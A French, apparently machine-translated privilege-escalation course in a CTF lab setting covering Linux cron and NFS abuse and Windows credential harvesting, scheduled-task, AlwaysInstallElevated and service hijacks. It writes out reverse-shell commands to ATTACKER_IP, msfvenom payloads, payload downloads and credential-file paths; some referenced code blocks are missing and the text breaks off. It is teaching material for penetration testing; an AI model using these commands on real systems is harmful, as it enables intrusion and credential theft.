Tout utilisateur peut lire le fichier contenant les tâches cron à l'échelle du système sous /etc/crontab

Alors que les machines CTF peuvent avoir des tâches cron exécutées toutes les minutes ou toutes les
5 minutes, vous verrez plus souvent des tâches qui s'exécutent quotidiennement, hebdomadairement
ou mensuellement dans les missions de test d'intrusion.

Tu peux voir le backup.sh Le script a été configuré pour s'exécuter toutes les minutes. Le contenu du
fichier montre un script simple qui crée une sauvegarde du fichierprices.xls.

Comme notre utilisateur actuel peut accéder à ce script, nous pouvons facilement le modifier pour
créer un shell inversé, espérons-le avec les privilèges root.

Le script utilisera les outils disponibles sur le système cible pour lancer un reverse shell.

Sommaire 37
Deux points à noter ;

1. La syntaxe de la commande varie en fonction des outils disponibles. (par exemple nc ne

supportera probablement pas l’option -e que vous avez peut-être vue utilisée dans d'autres cas)
2. Nous devrions toujours préférer démarrer les coques inversées, car nous ne voulons pas
compromettre l'intégrité du système lors d'un véritable engagement de test d'intrusion.

Le fichier devrait ressembler à ceci ;

Nous allons maintenant exécuter un écouteur sur notre machine attaquante pour recevoir la connexion
entrante.

Crontab vaut toujours la peine d'être vérifié car il peut parfois conduire à des vecteurs d'escalade de
privilèges faciles. Le scénario suivant n'est pas rare dans les entreprises qui n'ont pas un certain
niveau de maturité en matière de cybersécurité :

1. Les administrateurs système doivent exécuter un script à intervalles réguliers.

2. Ils créent une tâche cron pour le faire
3. Au bout d'un moment, le script devient inutile, et ils le suppriment
4. Ils ne nettoient pas le travail cron concerné

Ce problème de gestion des changements conduit à un exploit potentiel exploitant les tâches cron.

Sommaire 38
L'exemple ci-dessus montre une situation similaire où le script antivirus.sh a été supprimé, mais la
tâche cron existe toujours.
Si le chemin complet du script n'est pas défini (comme cela a été fait pour le script backup.sh), cron
fera référence aux chemins répertoriés sous la variable PATH dans le fichier /etc/crontab. Dans ce
cas, nous devrions être en mesure de créer un script nommé "antivirus.sh" sous le dossier d'accueil de
notre utilisateur et il devrait être exécuté par le travail cron.

Le fichier sur le système cible doit vous sembler familier :

La connexion Reverse Shell entrante dispose des privilèges root :

Dans l'événement impair vous trouver un script existant ou une tâche attachée à une tâche cron, il
vaut toujours la peine de passer du temps à comprendre la fonction du script et comment tout l'outil
est utilisé dans le contexte. Par exemple, tar, 7z, rsync, etc., peuvent être exploités à l'aide de leur
fonctionnalité générique.

2.9 Élévation des privilèges : NFS

Les vecteurs d'escalade de privilèges ne se limitent pas à l'accès interne. Les dossiers partagés et les
interfaces de gestion à distance telles que SSH et Telnet peuvent également vous aider à obtenir un
accès root sur le système cible. Certains cas nécessiteront également l'utilisation des deux vecteurs,
par exemple trouver une clé privée SSH racine sur le système cible et se connecter via SSH avec des
privilèges root au lieu d'essayer d'augmenter le niveau de privilège de votre utilisateur actuel.

Un autre vecteur plus pertinent pour les CTF et les examens est un shell réseau mal configuré. Ce
vecteur peut parfois être observé lors d'engagements de tests d'intrusion lorsqu'un système de
sauvegarde réseau est présent.

La configuration NFS (Network File Sharing) est conservée dans le fichier /etc/exports. Ce fichier est
créé lors de l'installation du serveur NFS et peut généralement être lu par les utilisateurs.

Sommaire 39
L'élément critique pour ce vecteur d'escalade de privilèges est l'option "no_root_squash" que vous
pouvez voir ci-dessus. Par défaut, NFS changera l'utilisateur root en nfsnobody et empêchera tout
fichier de fonctionner avec les privilèges root. Si l'option "no_root_squash" est présente sur un partage
inscriptible, nous pouvons créer un exécutable avec le bit SUID défini et l'exécuter sur le système
cible.

Nous allons commencer par énumérer les partages montables de notre machine attaquante.

Nous allons monter l'un des partages "no_root_squash" sur notre attaque machine et commencer à
construire notre exécutable.

Comme nous pouvons définir des bits SUID, un exécutable simple qui exécutera /bin/bash sur le
système cible fera l'affaire.

Sommaire 40
Une fois le code compilé, nous définirons le bit SUID.

Vous verrez ci-dessous que les deux fichiers (nfs.c et nfs sont présents sur le système cible. Nous
avons travaillé sur le soc monté donc il n'y avait pas besoin de les transférer).

Notez que l'exécutable nfs a le bit SUID défini sur le système cible et s'exécute avec les privilèges
root.

Sommaire 41
 3. Escalade des privilèges Windows
Lors d'un test d'intrusion, vous aurez souvent accès à certains hôtes Windows avec un utilisateur non
privilégié. Les utilisateurs non privilégiés détiennent un accès limité, y compris leurs fichiers et
dossiers uniquement, et n'ont aucun moyen d'effectuer des tâches administratives sur l'hôte, vous
empêchant d'avoir un contrôle total sur votre cible.

3.1 Escalade des privilèges Windows

En termes simples, l'élévation des privilèges consiste à utiliser l'accès donné à un hôte avec
"l'utilisateur A" et à en tirer parti pour accéder à "l'utilisateur B" en abusant d'une faiblesse du système
cible. Bien que nous souhaitions généralement que "l'utilisateur B" ait des droits d'administrateur, il
peut y avoir des situations où nous devrons passer à d'autres comptes sans privilèges avant d'obtenir
réellement des privilèges d'administrateur.

L'accès à différents comptes peut être aussi simple que de trouver des informations d'identification
dans des fichiers texte ou des feuilles de calcul laissés non sécurisés par un utilisateur négligent, mais
ce ne sera pas toujours le cas. Selon la situation, nous pourrions avoir besoin d'abuser de certaines
des faiblesses suivantes :

• Mauvaises configurations sur les services Windows ou les tâches planifiées

• Privilèges excessifs attribués à notre compte
• Logiciel vulnérable
• Correctifs de sécurité Windows manquants

Avant de passer aux techniques réelles, examinons les différents types de comptes sur un système
Windows.

Utilisateurs Windows

Les systèmes Windows ont principalement deux types d'utilisateurs. En fonction de leurs niveaux
d'accès, nous pouvons catégoriser un utilisateur dans l'un des groupes suivants :

Ces utilisateurs ont le plus de privilèges. Ils peuvent modifier n'importe quel paramètre de
Administrators
configuration du système et accéder à n'importe quel fichier du système.
Ces utilisateurs peuvent accéder à l'ordinateur mais n'effectuent que des tâches limitées.
Standard
Généralement, ces utilisateurs ne peuvent pas apporter de modifications permanentes ou
Users
essentielles au système et sont limités à leurs fichiers.

Tout utilisateur disposant de privilèges administratifs fera partie du groupe Administrators. D'autre
part, les utilisateurs standard font partie du groupe Users.

En plus de cela, vous entendrez généralement parler de certains comptes intégrés spéciaux utilisés
par le système d'exploitation dans le cadre de l'élévation des privilèges :

Un compte utilisé par le système d'exploitation pour effectuer des tâches internes. Il a un accès
SYSTÈME /
complet à tous les fichiers et ressources disponibles sur l'hôte avec des privilèges encore plus
SystèmeLocal
élevés que les administrateurs.
Compte par défaut utilisé pour exécuter les services Windows avec des privilèges "minimaux". Il
Service local
utilisera des connexions anonymes sur le réseau.
Compte par défaut utilisé pour exécuter les services Windows avec des privilèges "minimaux". Il
Service réseau
utilisera les informations d'identification de l'ordinateur pour s'authentifier via le réseau.

Ces comptes sont créés et gérés par Windows, et vous ne pourrez pas les utiliser comme d'autres
comptes réguliers. Néanmoins, dans certaines situations, vous pouvez obtenir leurs privilèges en
exploitant des services spécifiques.
Sommaire 42
 3.2 Récolter des mots de passe à partir d'emplacements habituels
Le moyen le plus simple d'accéder à un autre utilisateur consiste à collecter les informations
d'identification d'une machine compromise. De telles informations d'identification peuvent exister pour
de nombreuses raisons, y compris un utilisateur négligent les laissant dans des fichiers en texte brut ;
ou même stockées par certains logiciels comme les navigateurs ou les clients de messagerie.

Cette tâche présentera certains endroits connus pour rechercher des mots de passe sur un système
Windows.

Installations Windows sans surveillance

Lors de l'installation de Windows sur un grand nombre d'hôtes, les administrateurs peuvent utiliser les
services de déploiement Windows, qui permettent de déployer une seule image de système
d'exploitation sur plusieurs hôtes via le réseau. Ces types d'installations sont appelées installations
sans surveillance car elles ne nécessitent aucune intervention de l'utilisateur. De telles installations
nécessitent l'utilisation d'un compte administrateur pour effectuer la configuration initiale, qui peut finir
par être stockée dans la machine aux emplacements suivants :

• C:\Unattend.xml
• C:\Windows\Panther\Unattend.xml
• C:\Windows\Panther\Unattend\Unattend.xml
• C:\Windows\system32\sysprep.inf
• C:\Windows\system32\sysprep\sysprep.xml

Dans le cadre de ces fichiers, vous pouvez rencontrer des identifiants :

<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>

Historique de Powershell

Chaque fois qu'un utilisateur exécute une commande à l'aide de Powershell, elle est stockée dans un
fichier qui conserve une mémoire des commandes passées. Ceci est utile pour répéter rapidement les
commandes que vous avez utilisées auparavant. Si un utilisateur exécute une commande qui inclut un
mot de passe directement dans le cadre de la ligne de commande Powershell, il peut être récupéré
ultérieurement à l'aide de la commande suivante à partir d'un cmd.exerapide:

type
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Remarque : La commande ci-dessus ne fonctionnera qu'à partir de cmd.exe, car Powershell ne

reconnaîtra pas %userprofile% comme variable d'environnement. Pour lire le fichier depuis
Powershell, vous devez remplacer %userprofile% avec $Env:userprofile.

Sommaire 43
Identifiants Windows enregistrés

Windows nous permet d'utiliser les informations d'identification d'autres utilisateurs. Cette fonction
donne également la possibilité d'enregistrer ces informations d'identification sur le système. La
commande ci-dessous répertorie les informations d'identification enregistrées :

cmdkey /list

Bien que vous ne puissiez pas voir les mots de passe réels, si vous remarquez des informations
d'identification qui valent la peine d'être essayées, vous pouvez les utiliser avec la commande runas et
l’option /savecred, comme indiqué ci-dessous.

runas /savecred /user:admin cmd.exe

Configuration IIS

Internet Information Services (IIS) est le serveur Web par défaut sur les installations Windows. La
configuration des sites Web sur IIS est stockée dans un fichier appelé web.configet peut stocker des
mots de passe pour des bases de données ou des mécanismes d'authentification configurés. Selon la
version installée d'IIS, nous pouvons trouver web.config dans l'un des emplacements suivants :

• C:\inetpub\wwwroot\web.config
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Voici un moyen rapide de trouver les chaînes de connexion à la base de données sur le fichier :

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Récupérer les informations d'identification du logiciel : PuTTY

PuTTY est un client SSH que l'on trouve couramment sur les systèmes Windows. Au lieu d'avoir à
spécifier les paramètres d'une connexion à chaque fois, les utilisateurs peuvent stocker des sessions
où l'adresse IP, l'utilisateur et d'autres configurations peuvent être stockées pour une utilisation
ultérieure. Bien que PuTTY n'autorise pas les utilisateurs à stocker leur mot de passe SSH, il stockera
les configurations de proxy qui incluent des identifiants d'authentification en texte clair.

Pour récupérer les informations d'identification du proxy stockées, vous pouvez rechercher
ProxyPassword sous la clé de registre suivante avec la commande suivante :

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Remarque : Simon Tatham est le créateur de PuTTY (et son nom fait partie du chemin), et non le nom
d'utilisateur pour lequel nous récupérons le mot de passe. Le nom d'utilisateur du proxy stocké doit
également être visible après l'exécution de la commande ci-dessus.

Tout comme putty stocke les informations d'identification, tout logiciel qui stocke les mots de passe, y
compris les navigateurs, les clients de messagerie, FTP clients SSH, les logiciels VNC et autres,
disposera de méthodes pour récupérer les mots de passe que l'utilisateur a enregistrés.

Sommaire 44
 3.3 Autres gains rapides
L'escalade des privilèges n'est pas toujours un défi. Certaines erreurs de configuration peuvent vous
permettre d'obtenir un accès utilisateur privilégié plus élevé et, dans certains cas, même un accès
administrateur. Il serait utile que vous considériez ceux-ci comme appartenant davantage au domaine
des événements CTF plutôt qu'aux scénarios que vous rencontrerez lors de véritables missions de
test d'intrusion. Cependant, si aucune des méthodes mentionnées précédemment ne fonctionne, vous
pouvez toujours revenir à celles-ci.

Tâches planifiées

En regardant dans les tâches planifiées sur le système cible, vous pouvez voir une tâche planifiée qui
a perdu son binaire ou qui utilise un binaire que vous pouvez modifier.

Les tâches planifiées peuvent être répertoriées à partir de la ligne de commande à l'aide de la
commande schtasks sans aucune option. Pour récupérer des informations détaillées sur l'un des
services, vous pouvez utiliser une commande comme celle-ci :

Invite de commandes

C:\> schtasks /query /tn vulntask /fo list /v

Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1

Vous obtiendrez beaucoup d'informations sur la tâche, mais ce qui compte pour nous, c'est le
paramètre "Task to Run" qui indique ce qui est exécuté par la tâche planifiée, et le paramètre "Run As
User", qui montre l'utilisateur qui sera utilisé pour exécuter la tâche.

Si notre utilisateur actuel peut modifier ou écraser l'exécutable "Task to Run", nous pouvons contrôler
ce qui est exécuté par l'utilisateur taskusr1, ce qui entraîne une simple élévation des privilèges. Pour
vérifier les permissions du fichier sur l'exécutable, nous utilisons icacls:

Invite de commandes

C:\> icacls c:\tasks\schtask.bat

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)

Comme on peut le voir dans le résultat, le BUILTIN\Users a un accès complet (F) sur le binaire de la
tâche. Cela signifie que nous pouvons modifier le fichier .bat et insérer n'importe quelle charge utile
que nous aimons. Pour ta convenance, nc64.exepeut être trouvé sur C:\tools. Modifions le fichier bat
pour générer un shell inversé :

Invite de commandes

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Sommaire 45
Nous démarrons ensuite un listener sur la machine de l'attaquant sur le même port que nous avons
indiqué sur notre reverse shell :

nc -lvp 4444

La prochaine fois que la tâche planifiée s'exécutera, vous devriez recevoir le shell inverse avec les
privilèges taskusr1. Bien que vous ne puissiez probablement pas démarrer la tâche dans un scénario
réel et que vous deviez attendre que la tâche planifiée se déclenche, nous avons fourni à votre
utilisateur des autorisations pour démarrer la tâche manuellement afin de vous faire gagner du temps.
Nous pouvons exécuter la tâche avec la commande suivante :

Invite de commandes

C:\> schtasks /run /tn vulntask

Et vous recevrez le reverse shell avec les privilèges taskusr1 comme prévu :

Kali Linux

user@attackerpc$ nc -lvp 4444

Listening on 0.0.0.0 4444

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\taskusr1

AlwaysInstallElevated

Les fichiers d'installation de Windows (également appelés fichiers .msi) sont utilisés pour installer des
applications sur le système. Ils s'exécutent généralement avec le niveau de privilège de l'utilisateur qui
les démarre. Cependant, ceux-ci peuvent être configurés pour s'exécuter avec des privilèges plus
élevés à partir de n'importe quel compte d'utilisateur (même les comptes non privilégiés). Cela pourrait
potentiellement nous permettre de générer un fichier MSI malveillant qui s'exécuterait avec des
privilèges d'administrateur.

Remarque : La méthode AlwaysInstallElevated ne fonctionnera pas sur la machine de cette salle et

elle est incluse à titre d'information uniquement.

Cette méthode nécessite la définition de deux valeurs de registre. Vous pouvez les interroger à partir
de la ligne de commande en utilisant les commandes ci-dessous.

Invite de commandes

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Sommaire 46
Pour pouvoir exploiter cette vulnérabilité, les deux doivent être définis. Sinon, l'exploitation ne sera pas
possible. Si ceux-ci sont définis, vous pouvez générer un fichier .msi malveillant en utilisant msfvenom,
comme on le voit ci-dessous :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP

LPORT=LOCAL_PORT -f msi -o malicious.msi

Comme il s'agit d'un shell inversé, vous devez également exécuter le module Metasploit Handler
configuré en conséquence. Une fois que vous avez transféré le fichier que vous avez créé, vous
pouvez lancer le programme d'installation avec la commande ci-dessous et recevoir le reverse shell :

Invite de commandes

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

3.4 Abus des mauvaises configurations de service

Services Windows

Les services Windows sont gérés par le Service Control Manager (SCM). Le SCM est un processus
chargé de gérer l'état des services selon les besoins, de vérifier l'état actuel d'un service donné et de
fournir généralement un moyen de configurer les services.

Chaque service sur une machine Windows aura un exécutable associé qui sera exécuté par le SCM
chaque fois qu'un service est démarré. Il est important de noter que les exécutables de service
implémentent des fonctions spéciales pour pouvoir communiquer avec le SCM, et donc aucun
exécutable ne peut être démarré en tant que service avec succès. Chaque service spécifie également
le compte d'utilisateur sous lequel le service sera exécuté.

Pour mieux comprendre la structure d'un service, vérifions la configuration du service apphostsvc avec
le sc qccommande:

Invite de commandes

C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG :0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem

Sommaire 47
Ici, nous pouvons voir que l'exécutable associé est spécifié via le BINARY_PATH_NAME , et le
compte utilisé pour exécuter le service est affiché sur le SERVICE_START_NAME paramètre

Les services ont une liste de contrôle d'accès discrétionnaire ( DACL ), qui indique qui a l'autorisation
de démarrer, d'arrêter, de mettre en pause, d'interroger l'état, d'interroger la configuration ou de
reconfigurer le service, entre autres privilèges. Le DACL peut être vu à partir de Process Hacker
(disponible sur le bureau de votre machine) :

Toutes les configurations de services sont stockées dans le registre sous

HKLM\SYSTEM\CurrentControlSet\Services\:

Une sous-clé existe pour chaque service du système. Encore une fois, nous pouvons voir l'exécutable
associé sur la ImagePath et le compte utilisé pour démarrer le service sur la ObjectName . Si un
DACL a été configuré pour le service, il sera stocké dans une sous-clé appelée Security. Comme
vous l'avez déjà deviné, seuls les administrateurs peuvent modifier ces entrées de registre par défaut.

Sommaire 48
Autorisations non sécurisées sur le service exécutable

Si l'exécutable associé à un service a des permissions faibles qui permettent à un attaquant de le

modifier ou de le remplacer, l'attaquant peut obtenir trivialement les privilèges du compte du service.

Pour comprendre comment cela fonctionne, examinons une vulnérabilité trouvée sur Splinterware
System Scheduler. Pour commencer, nous allons interroger la configuration du service à l'aide de sc:

Invite de commandes
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG :0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1

Nous pouvons voir que le service installé par le logiciel vulnérable s'exécute en tant que svcuser1 et
que l'exécutable associé au service est en C:\Progra~2\System~1\WService.exe. Nous procédons
ensuite à la vérification des permissions sur l'exécutable :

Invite de commandes
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Et ici, nous avons quelque chose d'intéressant. Le groupe Tout le monde dispose des autorisations de
modification (M) sur l'exécutable du service. Cela signifie que nous pouvons simplement l'écraser avec
n'importe quelle charge utile de notre préférence, et le service l'exécutera avec les privilèges du
compte d'utilisateur configuré.

Générons une charge utile de service exe à l'aide de msfvenom et servons-la via un serveur Web
python :

Kali Linux
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP
LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Nous pouvons ensuite extraire la charge utile de Powershell avec la commande suivante :

Powershell
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

Sommaire 49
Une fois que la charge utile est dans le serveur Windows, nous procédons au remplacement de
l'exécutable du service par notre charge utile. Étant donné que nous avons besoin d'un autre
utilisateur pour exécuter notre charge utile, nous souhaitons également accorder des autorisations
complètes au groupe Tout le monde :
Invite de commandes
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.

Nous lançons un écouteur inversé sur notre machine attaquante :

Kali Linux

user@attackerpc$ nc -lvp 4445

Et enfin, redémarrez le service. Alors que dans un scénario normal, vous devrez probablement
attendre le redémarrage du service, des privilèges vous ont été attribués pour redémarrer le service
vous-même afin de vous faire gagner du temps. Utilisez les commandes suivantes à partir d'une invite
de commande cmd.exe :

Invite de commandes
C:\> sc stop windowsscheduler

C:\> sc start windowsscheduler

Remarque : PowerShell a sc comme pseudonyme de Set-Content, vous devez donc utiliser sc.exe
afin de contrôler les services avec PowerShell de cette façon.

En conséquence, vous obtiendrez un reverse shell avec les privilèges svcusr1 :

Kali Linux
user@attackerpc$ nc -lvp 4445

Listening on 0.0.0.0 4445

Connection received on 10.10.175.90 50649

Microsoft Windows [Version 10.0.17763.1821]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

wprivesc1\svcusr1

Allez sur le bureau svcusr1 pour récupérer un indicateur. N'oubliez pas d'entrer le drapeau à la fin de
cette tâche.

Sommaire 50
Chemins de service non cités

Lorsque nous ne pouvons pas écrire directement dans les exécutables de service comme auparavant,
il peut toujours y avoir une chance de forcer un service à exécuter des exécutables arbitraires en
utilisant une fonctionnalité plutôt obscure.

Lorsque vous travaillez avec des services Windows, un comportement très particulier se produit
lorsque le service est configuré pour pointer vers un exécutable "sans guillemets". Par sans
guillemets, nous entendons que le chemin de l'exécutable associé n'est pas correctement entre
guillemets pour tenir compte des espaces sur la commande.

À titre d'exemple, examinons la différence entre deux services (ces services ne sont utilisés qu'à titre
d'exemple et peuvent ne pas être disponibles sur votre machine). Le premier service utilisera une
citation appropriée afin que le SCM sache sans aucun doute qu'il doit exécuter le fichier binaire pointé
par "C:\Program Files\RealVNC\VNC Server\vncserver.exe", suivi des paramètres donnés :

Invite de commandes
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG :0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

N'oubliez pas : PowerShell a 'sc' comme alias pour 'Set-Content', vous devez donc utiliser
'sc.exe' pour contrôler les services si vous êtes dans une invite PowerShell.
Examinons maintenant un autre service sans devis approprié :

Invite de commandes
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG :0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2

Lorsque le SCM essaie d'exécuter le binaire associé, un problème survient. Puisqu'il y a des espaces
sur le nom du dossier "Disk Sorter Enterprise", la commande devient ambiguë et le SCM ne sait pas
lequel des éléments suivants vous essayez d'exécuter :

Commande Argumentation 1 Argumentation 2

C:\MesProgrammes\Disk.exe Trieur Entreprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Entreprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter
Enterprise\bin\disksrs.exe

Sommaire 51
Cela a à voir avec la façon dont l'invite de commande analyse une commande. Habituellement,
lorsque vous envoyez une commande, les espaces sont utilisés comme séparateurs d'arguments,
sauf s'ils font partie d'une chaîne entre guillemets. Cela signifie que la "bonne" interprétation de la
commande sans guillemets serait d'exécuter C:\\MyPrograms\\Disk.exeet prends le reste comme
arguments.

Au lieu d'échouer comme il se doit probablement, SCM essaie d'aider l'utilisateur et commence à
rechercher chacun des fichiers binaires dans l'ordre indiqué dans le tableau :

1. Tout d'abord, recherchez C:\\MyPrograms\\Disk.exe. S'il existe, le service lancera cet

exécutable.
2. Si ce dernier n'existe pas, il cherchera alors C:\\MyPrograms\\Disk Sorter.exe. S'il existe, le
service lancera cet exécutable.
3. Si ce dernier n'existe pas, il cherchera alors C:\\MyPrograms\\Disk Sorter
Enterprise\\bin\\disksrs.exe. Cette option devrait réussir et sera généralement exécutée dans
une installation par défaut.

A partir de ce comportement, le problème devient évident. Si un attaquant crée l'un des exécutables
recherchés avant l'exécutable de service attendu, il peut forcer le service à exécuter un exécutable
arbitraire.

Bien que cela semble trivial, la plupart des exécutables du service seront installés sous C:\Program
Filesou C:\Program Files (x86)par défaut, qui n'est pas accessible en écriture par les utilisateurs non
privilégiés. Cela empêche tout service vulnérable d'être exploité. Il existe des exceptions à cette règle :
- Certains installateurs modifient les autorisations sur les dossiers installés, rendant les services
vulnérables. - Un administrateur peut décider d'installer les fichiers binaires du service dans un chemin
autre que celui par défaut. Si un tel chemin est accessible en écriture par tout le monde, la
vulnérabilité peut être exploitée.

Dans notre cas, l'administrateur a installé les binaires de Disk Sorter sous c:\MyPrograms. Par défaut,
cela hérite des permissions du C:\répertoire, qui permet à tout utilisateur de créer des fichiers et des
dossiers dans celui-ci. Nous pouvons vérifier cela en utilisant icacls:

Invite de commandes

C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files

La BUILTIN\\Usersgroupe a AD et WD , permettant à l'utilisateur de créer des sous-répertoires et des

fichiers, respectivement.

Le processus de création d'une charge utile de service exe avec msfvenom et de son transfert vers
l'hôte cible est le même qu'auparavant, alors n'hésitez pas à créer la charge utile suivante et à la
télécharger sur le serveur comme auparavant. Nous allons également démarrer un écouteur pour
recevoir le reverse shell lors de son exécution :

Kali Linux
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP
LPORT=4446 -f exe-service -o rev-svc2.exe

user@attackerpc$ nc -lvp 4446

Sommaire 52
Une fois que la charge utile est dans le serveur, déplacez-la vers l'un des emplacements où le
piratage pourrait se produire. Dans ce cas, nous déplacerons notre charge utile vers
C:\MyPrograms\Disk.exe. Nous accorderons également à tout le monde des autorisations complètes
sur le fichier pour nous assurer qu'il peut être exécuté par le service :

Invite de commandes
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
Une fois le service redémarré, votre charge utile doit s'exécuter :
Invite de commandes
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

En conséquence, vous obtiendrez un reverse shell avec les privilèges svcusr2 :

Kali Linux
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr2

Allez sur le bureau svcusr2 pour récupérer un indicateur. N'oubliez pas d'entrer le drapeau à la fin de
cette tâche.

Autorisations de service non sécurisées

Vous pouvez toujours avoir une petite chance de tirer parti d'un service si le DACL est bien configuré
et que le chemin binaire du service est correctement cité. Si la DACL du service (et non la DACL
exécutable du service) vous permet de modifier la configuration d'un service, vous pourrez
reconfigurer le service. Cela vous permettra de pointer vers n'importe quel exécutable dont vous avez
besoin et de l'exécuter avec n'importe quel compte que vous préférez, y compris SYSTEM lui-même.

Pour rechercher un service DACL à partir de la ligne de commande, vous pouvez utiliser Accesschk
de la suite Sysinternals. Pour votre commodité, une copie est disponible à C:\\tools. La commande
pour vérifier la DACL du service thm service est :

Invite de commandes
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS

Sommaire 53
Ici, nous pouvons voir que le BUILTIN\\Usersgroupe a l'autorisation SERVICE_ALL_ACCESS, ce qui
signifie que n'importe quel utilisateur peut reconfigurer le service.

Avant de changer le service, construisons un autre reverse shell exe-service et démarrons un

écouteur pour celui-ci sur la machine de l'attaquant :

Kali Linux
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP
LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

Nous allons ensuite transférer l'exécutable du reverse shell sur la machine cible et le stocker dans
C:\Users\thm-unpriv\rev-svc3.exe. N'hésitez pas à utiliser wget pour transférer votre exécutable et le
déplacer à l'emplacement souhaité. N'oubliez pas d'accorder des autorisations à Tout le monde pour
exécuter votre charge utile :

Invite de commandes
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Pour modifier l'exécutable et le compte associés au service, nous pouvons utiliser la commande
suivante (attention aux espaces après les signes égal lors de l'utilisation de sc.exe) :

Invite de commandes
